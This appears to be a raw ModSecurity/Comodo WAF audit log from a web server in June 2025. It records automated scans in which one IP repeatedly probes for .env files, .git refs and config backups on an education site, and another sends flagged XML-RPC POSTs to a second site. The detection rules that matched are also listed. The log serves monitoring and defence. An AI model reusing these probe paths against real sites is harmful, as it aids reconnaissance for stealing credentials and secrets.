--8f01db42-Z-- --24d8222d-A-- [16/Jun/2025:04:47:14.730672 +0530] aE9Uen2GhYywD7zZgx4FxgAAAAM 185.177.72.210 48490 127.0.0.1 7081 --24d8222d-B-- GET /cms/components/login.ascx HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --24d8222d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a577bfdb3efa9bb1d508ef4ac011a8a21750029434; expires=Mon, 16 Jun 2025 00:17:14 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --24d8222d-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".ascx"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".ascx"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/cms/components/login.ascx"] [unique_id "aE9Uen2GhYywD7zZgx4FxgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029434064359 666383 (- - -) Stopwatch2: 1750029434064359 666383; combined=1906, p1=346, p2=1451, p3=0, p4=0, p5=109, sr=101, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --24d8222d-Z-- --1491ec75-A-- [16/Jun/2025:04:47:16.698196 +0530] aE9UfPNXjUHq-Wm7C_8Z0wAAAAQ 185.177.72.210 48596 127.0.0.1 7081 --1491ec75-B-- GET /:5601/mail/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1491ec75-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9a5d2208d9f06bdd43c59ec4c3ab824a1750029436; expires=Mon, 16 Jun 2025 00:17:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1491ec75-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/mail/.env"] [unique_id "aE9UfPNXjUHq-Wm7C_8Z0wAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029436049922 648335 (- - -) Stopwatch2: 1750029436049922 648335; combined=1851, p1=372, p2=1371, p3=0, p4=0, p5=107, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1491ec75-Z-- --314e4515-A-- [16/Jun/2025:04:47:22.928287 +0530] aE9UgnwHSJGQ1A1pR0qbvgAAAAY 185.177.72.210 39108 127.0.0.1 7081 --314e4515-B-- GET /doc/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --314e4515-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3aedebf3d6ae10544747c011e3baa7ad1750029442; expires=Mon, 16 Jun 2025 00:17:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --314e4515-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/doc/.env"] [unique_id "aE9UgnwHSJGQ1A1pR0qbvgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029442263575 664774 (- - -) Stopwatch2: 1750029442263575 664774; combined=1924, p1=382, p2=1456, p3=0, p4=0, p5=86, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --314e4515-Z-- --2d6bc318-A-- [16/Jun/2025:04:47:28.380308 +0530] aE9Uh_NXjUHq-Wm7C_8Z1wAAAAQ 185.177.72.210 39314 127.0.0.1 7081 --2d6bc318-B-- GET /:8008/demo/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2d6bc318-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b747ec9c6c55bc096e859a47678185c71750029448; expires=Mon, 16 Jun 2025 00:17:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2d6bc318-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/demo/.env"] [unique_id "aE9Uh_NXjUHq-Wm7C_8Z1wAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029447723554 656822 (- - -) Stopwatch2: 1750029447723554 656822; combined=1617, p1=351, p2=1170, p3=0, p4=0, p5=96, sr=83, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2d6bc318-Z-- --007a7d02-A-- [16/Jun/2025:04:47:32.410965 +0530] aE9Ui8alTF-TysO2fMODZAAAAAE 185.177.72.210 56156 127.0.0.1 7081 --007a7d02-B-- GET /:9000/.env.example HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --007a7d02-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0728b528255616bdf357af243f1b72101750029452; expires=Mon, 16 Jun 2025 00:17:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --007a7d02-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/.env.example"] [unique_id "aE9Ui8alTF-TysO2fMODZAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029451684745 726281 (- - -) Stopwatch2: 1750029451684745 726281; combined=1658, p1=341, p2=1223, p3=0, p4=0, p5=93, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --007a7d02-Z-- --07b2e509-A-- [16/Jun/2025:04:47:42.620746 +0530] aE9UlX2GhYywD7zZgx4F1AAAAAM 185.177.72.210 56080 127.0.0.1 7081 --07b2e509-B-- GET /:8080/pub/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --07b2e509-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c672b0ecea314b9662cf30066141445a1750029462; expires=Mon, 16 Jun 2025 00:17:42 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --07b2e509-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/pub/.env"] [unique_id "aE9UlX2GhYywD7zZgx4F1AAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029461969448 651390 (- - -) Stopwatch2: 1750029461969448 651390; combined=1917, p1=410, p2=1386, p3=0, p4=0, p5=120, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --07b2e509-Z-- --e0d11d37-A-- [16/Jun/2025:04:47:51.370311 +0530] aE9UnuxC6fQU5wYvxvl0WwAAAAk 185.177.72.210 40390 127.0.0.1 7081 --e0d11d37-B-- GET /:8181/server/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e0d11d37-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7b068dbc5c508376f18101911ead93251750029471; expires=Mon, 16 Jun 2025 00:17:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e0d11d37-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/server/.env"] [unique_id "aE9UnuxC6fQU5wYvxvl0WwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029470696612 673776 (- - -) Stopwatch2: 1750029470696612 673776; combined=1888, p1=349, p2=1439, p3=0, p4=0, p5=99, sr=82, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e0d11d37-Z-- --75e80141-A-- [16/Jun/2025:04:47:52.407510 +0530] aE9Un0oyC4_VyyL7sS6M5QAAAAI 185.177.72.210 40464 127.0.0.1 7081 --75e80141-B-- GET /xampp/config.inc.php.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --75e80141-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a9e31790667e30b2ef174f520a54ca5c1750029472; expires=Mon, 16 Jun 2025 00:17:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --75e80141-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc.php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc.php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/xampp/config.inc.php.bak"] [unique_id "aE9Un0oyC4_VyyL7sS6M5QAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029471750121 657464 (- - -) Stopwatch2: 1750029471750121 657464; combined=2390, p1=470, p2=1829, p3=0, p4=0, p5=90, sr=167, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --75e80141-Z-- --6ed8382f-A-- [16/Jun/2025:04:48:05.230387 +0530] aE9UrOxC6fQU5wYvxvl0YwAAAAk 185.177.72.210 54614 127.0.0.1 7081 --6ed8382f-B-- GET /Chai/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6ed8382f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7e3e99ad61cd9fcf25be24fbff0f153c1750029485; expires=Mon, 16 Jun 2025 00:18:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6ed8382f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/Chai/.env"] [unique_id "aE9UrOxC6fQU5wYvxvl0YwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029484574041 656425 (- - -) Stopwatch2: 1750029484574041 656425; combined=1839, p1=369, p2=1375, p3=0, p4=0, p5=94, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6ed8382f-Z-- --8acc1d56-A-- [16/Jun/2025:04:48:08.228688 +0530] aE9Ur-xC6fQU5wYvxvl0ZAAAAAk 128.199.112.101 54720 127.0.0.1 7081 --8acc1d56-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --8acc1d56-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --8acc1d56-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9Ur-xC6fQU5wYvxvl0ZAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029487295803 932951 (- - -) Stopwatch2: 1750029487295803 932951; combined=2378, p1=432, p2=1562, p3=42, p4=65, p5=172, sr=111, sw=105, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8acc1d56-Z-- --d475492b-A-- [16/Jun/2025:04:48:09.441742 +0530] aE9UsFxTdrwJSUMoZvG2GQAAAAc 185.177.72.210 54788 127.0.0.1 7081 --d475492b-B-- GET /:10000/journal/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d475492b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=19e1ae0337a75c085b5d2a9470adbf6e1750029489; expires=Mon, 16 Jun 2025 00:18:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d475492b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/journal/.env"] [unique_id "aE9UsFxTdrwJSUMoZvG2GQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029488772104 669719 (- - -) Stopwatch2: 1750029488772104 669719; combined=1797, p1=386, p2=1307, p3=0, p4=0, p5=103, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d475492b-Z-- --51861b13-A-- [16/Jun/2025:04:49:03.792169 +0530] aE9U5vkk7JsP-DN1XGMmsAAAAAo 185.177.72.210 35032 127.0.0.1 7081 --51861b13-B-- GET /:5000/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --51861b13-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0d4d32a56d1bdeabdca630107e784ad41750029543; expires=Mon, 16 Jun 2025 00:19:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --51861b13-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/.env"] [unique_id "aE9U5vkk7JsP-DN1XGMmsAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029542934514 857729 (- - -) Stopwatch2: 1750029542934514 857729; combined=2338, p1=490, p2=1750, p3=0, p4=0, p5=98, sr=122, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --51861b13-Z-- --9e6de967-A-- [16/Jun/2025:04:49:08.231993 +0530] aE9U632GhYywD7zZgx4F_gAAAAM 128.199.112.101 35260 127.0.0.1 7081 --9e6de967-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --9e6de967-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --9e6de967-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9U632GhYywD7zZgx4F_gAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029547292602 939446 (- - -) Stopwatch2: 1750029547292602 939446; combined=2213, p1=354, p2=1457, p3=42, p4=67, p5=179, sr=98, sw=114, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9e6de967-Z-- --d1b7870b-A-- [16/Jun/2025:04:49:11.156293 +0530] aE9U7rV9qKUox3X8g1YoTAAAAAg 185.177.72.210 58564 127.0.0.1 7081 --d1b7870b-B-- GET /.git/refs/heads HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d1b7870b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b1b719c57c6f088cb0c06b6b3cde730f1750029551; expires=Mon, 16 Jun 2025 00:19:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 